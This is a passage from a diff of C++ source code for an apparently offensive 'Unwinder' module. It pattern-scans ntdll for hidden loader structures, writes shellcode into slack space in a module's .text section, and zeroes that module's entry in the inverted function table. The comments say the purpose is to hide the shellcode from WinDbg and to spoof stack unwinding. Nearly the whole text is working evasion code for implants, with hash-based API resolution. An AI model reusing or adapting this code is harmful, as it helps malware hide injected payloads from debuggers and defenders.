RtlAddFunctionTable inserts a new entry into the linked list + to do this it must load the head pointer and sentinel + + Pattern We're looking for: + 48 8B 05 [rel32] -> MOV RAX, [RIP + offset] (Load Head Pointer) + 48 8D 0D [rel32] -> LEA RCX, [RIP + offset] (Load Sentinel Address) + 48 39 08 -> CMP [RAX], RCX (Check If List Is Empty) + */ + for (int i = 0; i < 1004; i++) { + + /* Find MOV RAX, [RIP+OFFSET] + 48 = REX.W prefix (64-bit operand) + 8B = MOV opcode + 05 = ModR/M: [RIP+disp32] -> RAX + */ + if (Buffer[i] != 0x48 || Buffer[i + 1] != 0x8B || Buffer[i + 2] != 0x05) + continue; + + ULONG_PTR HeadPtr = RipRel(i, 3, 7); /* Offset starts at byte 3, Instruction is 7 bytes long */ + if (!(InNtdll(HeadPtr))) + continue; /* If Head pointer is outside ntdll, this is a false match */ + + + /* Find LEA RCX, [RIP + offset] */ + for (int j = i + 7; j < i + 48 && j < 1014; j++) { + + if (Buffer[j] != 0x48 || Buffer[j + 1] != 0x8D) + continue; + + if ((Buffer[j + 2] & 0xC7) != 0x05) + continue; + + ULONG_PTR Sentinel = RipRel(j, 3, 7); + if (!(InNtdll(Sentinel))) + continue; + + /* Find CMP [RAX], RCX */ + for (int k = j + 7; k < j + 16 && k < 1021; k++) { + + if (Buffer[k] == 0x48 && Buffer[k + 1] == 0x39 && Buffer[k + 2] == 0x08) { + /* Triple pattern matched -> head and sentinel found*/ + *puHeadPtr = HeadPtr; + *puSentinel = Sentinel; +#ifdef DEBUG + DBGPRINT("[*] Triple Pattern Matched \n"); + DBGPRINT("[i] \tHead Pointer -> %Ix \n", HeadPtr); + DBGPRINT("[i] \tSentinel -> %Ix \n", Sentinel); +#endif + return TRUE; + } + } + } + } + +#ifdef DEBUG + DBGPRINT("[-] Could Not Find Head And Sentinel Pointer - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; +} + +/*================================================ +@ LocateDynamicFunctionTableEntry Function +# Walks the _DYNAMIC_FUNCTION_TABLE linked list +# to find the entry whose address range covers +# the shellcode. Used to modify the Type field +# for WinDbg bypass (Type = 0 trick) +================================================*/ +PDYNAMIC_FUNCTION_TABLE Unwinder::LocateDynamicFunctionTableEntry( + _In_ ULONG_PTR uAddress +) { + ULONG_PTR HeadPtr = 0; + ULONG_PTR Sentinel = 0; + if (!Unwinder::ResolveDynamicFunctionTablePtrs(NtCurrentProcess(), &HeadPtr, &Sentinel)) { + return nullptr; + } + + /* Head Pointer -> Address of the first entry + Sentinel -> End of the list (circular list guard) + */ + ULONG_PTR Current = *(PULONG_PTR)HeadPtr; + INT i = 0; + + while (Current != Sentinel) { + + PDYNAMIC_FUNCTION_TABLE DynamicEntry = (PDYNAMIC_FUNCTION_TABLE)Current; + + /* MinimumAddress <= Address < MaximumAddress -> this entry covers our shellcode */ + if (uAddress >= DynamicEntry->MinimumAddress && uAddress < DynamicEntry->MaximumAddress) + return DynamicEntry; + + /* Move to the next entry in the linked list */ + Current = (ULONG_PTR)DynamicEntry->Links.Flink; + if (++i > 1000) + break; + } + + return nullptr; +} + +/*================================================ +@ LocateInvertedFunctionTable Function +# Finds _INVERTED_FUNCTION_TABLE address and its +# SRW lock by chaining through RtlLookupFunction +# Entry -> RtlpxLookupFunctionTable, collecting +# RIP-relative references, and identifying the +# lock via RtlAcquireSRWLockShared call proximity +================================================*/ +BOOL Unwinder::LocateInvertedFunctionTable( + OUT PINVERTED_FUNCTION_TABLE* ppInvertedTable, + OUT PRTL_SRWLOCK* ppSrwLock +) { + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + ULONG_PTR NtdllBase = (ULONG_PTR)Ntdll; + auto Nt = (PIMAGE_NT_HEADERS)(NtdllBase + ((PIMAGE_DOS_HEADER)NtdllBase)->e_lfanew); + SIZE_T NtdllSize = Nt->OptionalHeader.SizeOfImage; + + auto InNtdll = [&](ULONG_PTR A) { + return A > NtdllBase && A < NtdllBase + NtdllSize; + }; + + auto RipRel = [&](const BYTE* B, int i, int Off, int Len, ULONG_PTR Base) -> ULONG_PTR { + INT32 Rel = 0; + Primitive::MemoryCopy(&Rel, (PVOID)&B[i + Off], sizeof(INT32)); + return Base + i + Len + Rel; + }; + + /* Step 1: Try KiUserInvertedFunctionTable export + Some Windows builds export this table directly + fastest path - if found, no pattern scan needed + */ + ULONG_PTR TableAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("KiUserInvertedFunctionTable")); + + /* Step 2: Read RtlLookupFunctionEntry's machine code + This function is called during stack walks + internally it calls RtlpxLookupFunctionTable + we find that CALL to learn the inner function's address + */ + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); + if (!FnAddress) + return FALSE; + + BYTE Buffer[1024] = { 0 }; + Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); + + /* Step 3: Find RtlpxLookupFunctionTable + looking for the first E8 (CALL rel32) in RtlLookupFunctionEntry + this CALL most likely targets RtlpxLookupFunctionTable + */ + ULONG_PTR RtlpxAddress = 0; + for (int i = 0; i < 1019; i++) { + + if (Buffer[i] != 0xE8) + continue; + + INT32 Rel = 0; + Primitive::MemoryCopy(&Rel, &Buffer[i + 1], 4); + ULONG_PTR Target = FnAddress + i + 5 + Rel; + + if (InNtdll(Target)) { + RtlpxAddress = Target; + break; + } + } + + if (!RtlpxAddress) + return FALSE; + + /* Step 4: Read RtlpxLookupFunctionTable machine code */ + BYTE Buffer2[1024] = { 0 }; + Primitive::MemoryCopy(Buffer2, (PVOID)RtlpxAddress, sizeof(Buffer2)); + + /* Step 5: Collect all RIP-relative references + Inside RtlpxLookupFunctionTable: + LEA Rxx, [RIP+offset] -> Loads address of a global variable + MOV Rxx, [RIP+offset] -> Loads a global pointer + one of these references is _INVERTED_FUNCTION_TABLE + another is the SRW lock + we don't know which is which yet - we'll distinguish in later steps + */ + struct RipRef {int Offset; BYTE Op; ULONG_PTR Target; }; + RipRef Refs[64] = { 0 }; + INT nRefs = 0; + + for (int i = 0; i < 1017 && nRefs < 64; i++) { + + /* REX prefix: 0x48 (W) or 0x4C (WR) */ + if (Buffer2[i] != 0x48 && Buffer2[i] != 0x4C) + continue; + + /* 0x8B = MOV, 0x8D = LEA */ + if (Buffer2[i + 1] != 0x8B && Buffer2[i + 1] != 0x8D) + continue; + + if ((Buffer2[i + 2] & 0xC7) != 0x05) + continue; + + ULONG_PTR Target = RipRel(Buffer2, i, 3, 7, RtlpxAddress); + if (!InNtdll(Target)) + continue; + + Refs[nRefs++] = {i, Buffer2[i + 1], Target }; + } + + /* Step 6: Find the SRW lock + RtlpxLookupFunctionTable acquires a lock before reading the table: + LEA RCX, [RIP+offset] <- Load lock address + CALL RtlAcquireSRWLockShared <- Acquire lock + */ + ULONG_PTR LockAddress = 0; + ULONG_PTR AcquireShared = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockShared")); + + for (int i = 5; i < 1019; i++) { + + if (Buffer2[i] != 0xE8) + continue; + + INT32 Rel = 0; + Primitive::MemoryCopy(&Rel, &Buffer2[i + 1], 4); + ULONG_PTR CallTarget = RtlpxAddress + i + 5 + Rel; + + /* Is this CALL targeting RtlAcquireSRWLockShared ? */ + if (CallTarget != AcquireShared) + continue; + + /* Yes -> there's a LEA just before it + Scan bbackwards up to 16 bytes + */ + for (int j = i - 1; j >= (i - 16 > 0 ? i - 16 : 0); j--) { + + if (Buffer2[j] != 0x48 && Buffer2[j] != 0x4C) + continue; + if (Buffer2[j + 1] != 0x8D) + continue; + if ((Buffer2[j + 2] & 0xC7) != 0x05) + continue; + + ULONG_PTR Candidate = RipRel(Buffer2, j, 3, 7, RtlpxAddress); + if (InNtdll(Candidate)) { + LockAddress = Candidate; + break; + } + } + + if (LockAddress) + break; + } + + /* Step 7: determine table address (if export was not found) + Find the LEA reference that is NOT the lock + that reference is the _INVERTED_FUNCTION_TABLE address + Validation: the first DWORD at the referenced location + is the table's Count field - should be a reasonable value (0-512) + */ + if (!TableAddress) { + + for (int i = 0; i < nRefs; i++) { + + if (Refs[i].Op != 0x8D) + continue; + + if (Refs[i].Target == LockAddress) + continue; + + ULONG_PTR TblCandidate = *(PULONG_PTR)Refs[i].Target; + if (!TblCandidate) + continue; + + /* Count field sanity check */ + ULONG Count = *(ULONG*)TblCandidate; + if (Count == 0 || Count > 512) + continue; + + TableAddress = TblCandidate; + break; + } + } + + if (!LockAddress || !TableAddress) + return FALSE; + +#ifdef DEBUG + DBGPRINT("[+] Inverted Function Table -> 0x%p \n", (PVOID)TableAddress); + DBGPRINT("[+] SRW Lock -> 0x%p \n", (PVOID)LockAddress); +#endif + + *ppInvertedTable = (PINVERTED_FUNCTION_TABLE)TableAddress; + *ppSrwLock = (PRTL_SRWLOCK)LockAddress; + + return TRUE; +} + +/*================================================ +@ ResolveLdrMrdataProtector Function +# Locates the unexported LdrProtectMrdata function +# by scanning RtlAddFunctionTable for the byte +# pattern 33 C9 48 89 43 28 E8 and resolving +# the CALL target via rel32 offset +================================================*/ +BOOL Unwinder::ResolveLdrMrdataProtector( + OUT fnLdrProtectMrdata* pOutFnPtr +) { + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); + + BYTE Buffer[512] = { 0 }; + Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); + + /* Pattern: 33 C9 48 89 43 28 E8 + XOR ECX, ECX | MOV [RBX+28H], RAX | CALL LdrProtectMrdata + */ + const BYTE Pattern[] = { 0x33, 0xC9, 0x48, 0x89, 0x43, 0x28, 0xE8 }; + + for (int i = 0; i < (int)(sizeof(Buffer) - sizeof(Pattern)); i++) { + + if (Primitive::MemoryCompare(&Buffer[i], Pattern, sizeof(Pattern)) != 0) + continue; + + INT32 Rel = 0; + Primitive::MemoryCopy(&Rel, &Buffer[i + 7], sizeof(INT32)); + ULONG_PTR Candidate = FnAddress + i + 7 + 4 + Rel; + + if (Candidate > (ULONG_PTR)Ntdll && Candidate < (ULONG_PTR)Ntdll + 0x200000) { + *pOutFnPtr = (fnLdrProtectMrdata)Candidate; +#ifdef DEBUG + DBGPRINT("[+] LdrProtectMrdata Resolved -> 0x%p \n", (PVOID)Candidate); +#endif + return TRUE; + } + } + +#ifdef DEBUG + DBGPRINT("[-] LdrProtectMrdata Not Found - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; +} + +/*================================================ +@ CollapseInvertedTableEntry Function +# Sets ImageSize to 0 in _INVERTED_FUNCTION_TABLE +# for the target module. Acquires exclusive SRW +# lock and unprotects .mrdata before writing. +# This hides the shellcode from WinDbg lookups +================================================*/ +BOOL Unwinder::CollapseInvertedTableEntry( + _In_ PVOID pModule, + OUT PULONG puOldSize +) { + PINVERTED_FUNCTION_TABLE InvertedTable = nullptr; + PRTL_SRWLOCK SrwLock = nullptr; + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + + auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); + auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); + + fnLdrProtectMrdata LdrProtectMrData = nullptr; + Unwinder::ResolveLdrMrdataProtector(&LdrProtectMrData); + if (!LdrProtectMrData) + return FALSE; + + if (!Unwinder::LocateInvertedFunctionTable(&InvertedTable, &SrwLock)) + return FALSE; + + if (!InvertedTable || !SrwLock) + return FALSE; + + Acquire(SrwLock); + LdrProtectMrData(FALSE); + + BOOL Found = FALSE; + for (int i = 0; i < InvertedTable->Count; i++) { + + if (InvertedTable->Entries[i].ImageBase != pModule) + continue; + + *puOldSize = InvertedTable->Entries[i].ImageSize; + InvertedTable->Entries[i].ImageSize = 0; + Found = TRUE; + break; + } + + LdrProtectMrData(TRUE); + Release(SrwLock); + + return Found; +} + +/*================================================ +@ LocateTextAppendCursor Function (static) +# Scans .text section backwards from the end to +# find the first usable slack space (0xCC/0x00). +# Returns aligned pointer to the free region +================================================*/ +static PUBYTE LocateTextAppendCursor( + _In_ const SECTION_INFO* pSectionInfo, + _In_ SIZE_T sAlignment, + OUT SIZE_T* pSkipped, + OUT SIZE_T* pAvailable +) { + if (!pSectionInfo || !pSectionInfo->VirtualAddress || !pSectionInfo->VirtualSize) + return nullptr; + + PUBYTE pBase = (PUBYTE)pSectionInfo->VirtualAddress; + SIZE_T dwSize = (pSectionInfo->VirtualSize + 0x1000) & 0xFFFFF000; + PUBYTE p = pBase + (dwSize - 1); + SIZE_T Skipped = 0; + + for (;;) { + if (p < pBase) break; + UBYTE b = *p; + if (b != 0xCC && b != 0x00) break; + --p; + ++Skipped; + } + + PUBYTE pFirstFree = (p < pBase) ? pBase : (p + 1); + + if (sAlignment && (sAlignment & (sAlignment - 1)) == 0) { + ULONG_PTR v = (ULONG_PTR)pFirstFree; + ULONG_PTR Aligned = (v + (sAlignment - 1)) & ~(ULONG_PTR)(sAlignment - 1); + if (Aligned < v) return nullptr; + pFirstFree = (PUBYTE)Aligned; + } + + if (pFirstFree < pBase || (SIZE_T)(pFirstFree - pBase) > dwSize) + return nullptr; + + if (pSkipped) *pSkipped = Skipped; + if (pAvailable) *pAvailable = (SIZE_T)(pBase + dwSize - pFirstFree); + + return pFirstFree; +} + +/*================================================ +@ AppendCodeToText Function +# Writes code into .text section slack space. +# Finds cursor via LocateTextAppendCursor, unlocks +# .text, copies payload, re-locks. Returns the +# RVA of the written code via pdwBeginRva +================================================*/ +BOOL Unwinder::AppendCodeToText( + _In_ PVOID pModule, + _In_ PVOID pCode, + _In_ DWORD dwCodeSize, + OUT PDWORD pdwBeginRva +) { + static DWORD s_dwBytesWritten = 0; + + SECTION_INFO SectionInfo = { 0 }; + SIZE_T Skipped = 0; + SIZE_T Available = 0; + + Resolver::ResolveTextSectionInfo(pModule, &SectionInfo); + + PUBYTE pAppendAt = LocateTextAppendCursor(&SectionInfo, 1024, &Skipped, &Available); + if (!pAppendAt) + return FALSE; + + pAppendAt += s_dwBytesWritten; + Available -= s_dwBytesWritten; + + if (Available < dwCodeSize) + return FALSE; + + *pdwBeginRva = (DWORD)((ULONG_PTR)pAppendAt - (ULONG_PTR)pModule); + + NTSTATUS Status = Unwinder::UnlockTextSection(pModule); + if (!NT_SUCCESS(Status)) + return FALSE; + + Primitive::MemoryCopy(pAppendAt, pCode, dwCodeSize); + + Unwinder::LockTextSection(pModule); + + s_dwBytesWritten += dwCodeSize; + + return TRUE; +} + +/*================================================ +@ ResolveFunctionSize Function +# Looks up a function's RUNTIME_FUNCTION entry +# by its RVA and returns EndAddress - BeginAddress +================================================*/ +DWORD Unwinder::ResolveFunctionSize( + _In_ PVOID pModule, + _In_ PVOID pFunction +) { + DWORD Size = 0; + DWORD FunctionRva = (DWORD)((ULONG_PTR)pFunction - (ULONG_PTR)pModule); + PRUNTIME_FUNCTION RtTable = (PRUNTIME_FUNCTION)Resolver::ResolveExceptionDirectory(pModule, &Size); + DWORD Count = Size / sizeof(RUNTIME_FUNCTION); + + if (!RtTable) + return 0; + + for (DWORD i = 0; i < Count; i++) { + if (RtTable[i].BeginAddress == FunctionRva) + return RtTable[i].EndAddress - RtTable[i].BeginAddress; + } + +#ifdef DEBUG + DBGPRINT("[-] Function Not Found In .pdata -> RVA: 0x%lx \n", FunctionRva); +#endif + return 0; +} + +/*================================================ +@ ExpandInvertedTableEntry Function +# Restores ImageSize to its original value in +# _INVERTED_FUNCTION_TABLE. Called by +# RevertAllSpoofChanges during cleanup to undo +# the CollapseInvertedTableEntry operation +================================================*/ +BOOL Unwinder::ExpandInvertedTableEntry( + _In_ PVOID pModule, + _In_ ULONG ulOldSize +) { + PINVERTED_FUNCTION_TABLE InvertedTable = nullptr; + PRTL_SRWLOCK SrwLock = nullptr; + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + + auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); + auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); + + fnLdrProtectMrdata LdrProtectMrData = nullptr; + Unwinder::ResolveLdrMrdataProtector(&LdrProtectMrData); + if (!LdrProtectMrData) + return FALSE; + + if (!Unwinder::LocateInvertedFunctionTable(&InvertedTable, &SrwLock)) + return FALSE; + + if (!InvertedTable || !SrwLock) + return FALSE; + + Acquire(SrwLock); + LdrProtectMrData(FALSE); + + BOOL Found = FALSE; + for (int i = 0; i < InvertedTable->Count; i++) { + + if (InvertedTable->Entries[i].ImageBase != pModule) + continue; + + InvertedTable->Entries[i].ImageSize = ulOldSize; + Found = TRUE; + break; + } + + LdrProtectMrData(TRUE); + Release(SrwLock); + + return Found; +} \ No newline at end of file